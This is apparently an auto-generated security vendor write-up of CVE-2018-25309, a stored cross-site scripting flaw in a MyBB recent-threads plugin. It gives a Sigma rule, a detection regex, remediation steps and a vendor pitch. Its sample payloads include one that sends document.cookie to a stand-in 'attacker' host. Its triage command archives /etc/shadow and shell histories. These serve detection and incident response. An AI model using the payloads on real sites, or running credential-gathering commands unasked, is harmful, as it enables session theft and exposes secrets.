CVE Analysis 3 min read

CVE-2018-25309: MyBB RecenThreads 17.0 Cross-site scripting

CVE-2018-25309 CVSS 7.2 HIGH vulnerability analysis

CVE-2018-25309 is a high severity vulnerability (CVSS 7.2) identified in the National Vulnerability Database. MyBB Recent threads 17.0 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts by creating threads with crafted subject lines. Attackers can create threads with script tags in the subject parameter to execute arbitrary JavaScript in the browsers of all users viewing

TL;DR: This is a cross-site scripting vulnerability (CVSS 7.2 HIGH). Authentication: Unknown. Patch immediately.

What This Vulnerability Is

MyBB Recent threads 17.0 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts by creating threads with crafted subject lines. Attackers can create threads with script tags in the subject parameter to execute arbitrary JavaScript in the browsers of all users viewing the index page.

The National Vulnerability Database assigned this issue a CVSS base score of 7.2, placing it in the HIGH category. The identifier CVE-2018-25309 was published on 2026-04-29T20:16:26.463.

CVE Identifier
CVE-2018-25309
CVSS Base Score
7.2 / 10.0 (HIGH)
Published
2026-04-29T20:16:26.463
NVD Entry
https://nvd.nist.gov/vuln/detail/CVE-2018-25309
MITRE Entry
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25309

Who Is Affected

Based on the vulnerability data published by NVD, the following products and configurations are identified as affected:

  • Specific affected products are listed in the NVD entry. Review the CPE data for your stack.

If your organization uses any of the above, this vulnerability applies to your environment. Even if your specific version is not listed, review the full CPE match data to confirm.

What Attack Traffic Looks Like

Illustrative patterns for defensive detection. Not a working exploit.

Attackers inject script content into parameters that get reflected in HTML output. Watch for:

<script>alert(document.cookie)</script>
<img src=x onerror=fetch('http://attacker/'+document.cookie)>
javascript:alert(1)
" onmouseover="alert(1)
%3Cscript%3Ealert(1)%3C/script%3E

How to Detect It

Sigma Rule

title: XSS Payload in HTTP Parameters
id: auto-cwe79-detection
status: experimental
description: Detects script tags and event handlers in HTTP parameters indicative of XSS attempts.
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|re: '(<script|javascript:|on\w+=|%3Cscript|%3Csvg)'
  condition: selection
level: medium

Detection Regex

(?i)(<script|javascript:|on(error|load|click|mouseover)=|%3Cscript|%3Csvg\s+on)

IOC Hunt List

  • JavaScript loaded from external domains not in your CDN allowlist
  • Cookie values appearing in outbound HTTP requests to third-party domains
  • CSP violation reports (if Content-Security-Policy reporting is enabled)
  • Unusual URL parameters containing HTML/JS syntax in web server access logs

What to Do About It

Here is what we recommend, in order of priority:

  1. Check your exposure. Determine whether the affected software or component is present in your environment. Asset inventories and software composition analysis (SCA) tools are the fastest route.
  2. Apply the patch. If a vendor patch or updated version is available, apply it. Check the references below for vendor advisories.
  3. Mitigate if patching is not immediate. If you cannot patch right now, evaluate whether network segmentation, access control changes, or configuration adjustments reduce the attack surface for this specific vulnerability.
  4. Monitor for exploitation. Check whether proof-of-concept exploit code exists. The CISA Known Exploited Vulnerabilities catalog tracks actively exploited CVEs.
  5. Document your response. Record what you checked, when you patched, and what residual risk remains. This matters for compliance and for incident response if this vulnerability is exploited later.

Triage Quick Start

Run as administrator. Collect artifacts before applying patches or making changes:

# Linux/Unix systems
tar czf /tmp/triage-$(hostname)-$(date +%s).tgz \
  /var/log/syslog /var/log/auth.log /var/log/messages \
  /var/log/secure /var/log/apache2/ /var/log/nginx/ \
  /etc/passwd /etc/shadow \
  /root/.bash_history \
  /home/*/.bash_history \
  /tmp/ /var/tmp/ 2>/dev/null

# Windows systems (PowerShell)
# Compress-Archive -Path C:\Windows\System32\winevt\Logs\*,C:\inetpub\logs\* -DestinationPath C:\triage.zip

If you need help analyzing these artifacts, call Sherlock Forensics at 604.229.1994.

Why This Matters for Companies Without Security Teams

A CVSS score of 7.2 means this vulnerability is straightforward to exploit, likely to cause significant damage, or both. For startups and small companies operating without a dedicated security team, vulnerabilities at this severity level represent real operational risk rather than theoretical concern.

The challenge is not awareness. Vulnerability databases are public. The challenge is triage: understanding whether a given CVE affects your specific stack, and knowing what to do about it before an attacker does. If you lack the internal capacity to perform that assessment, an external review of your exposure is a concrete next step.

Sherlock Forensics provides vulnerability assessment and penetration testing for organizations that need to understand their attack surface without building a full internal security function.

References and Further Reading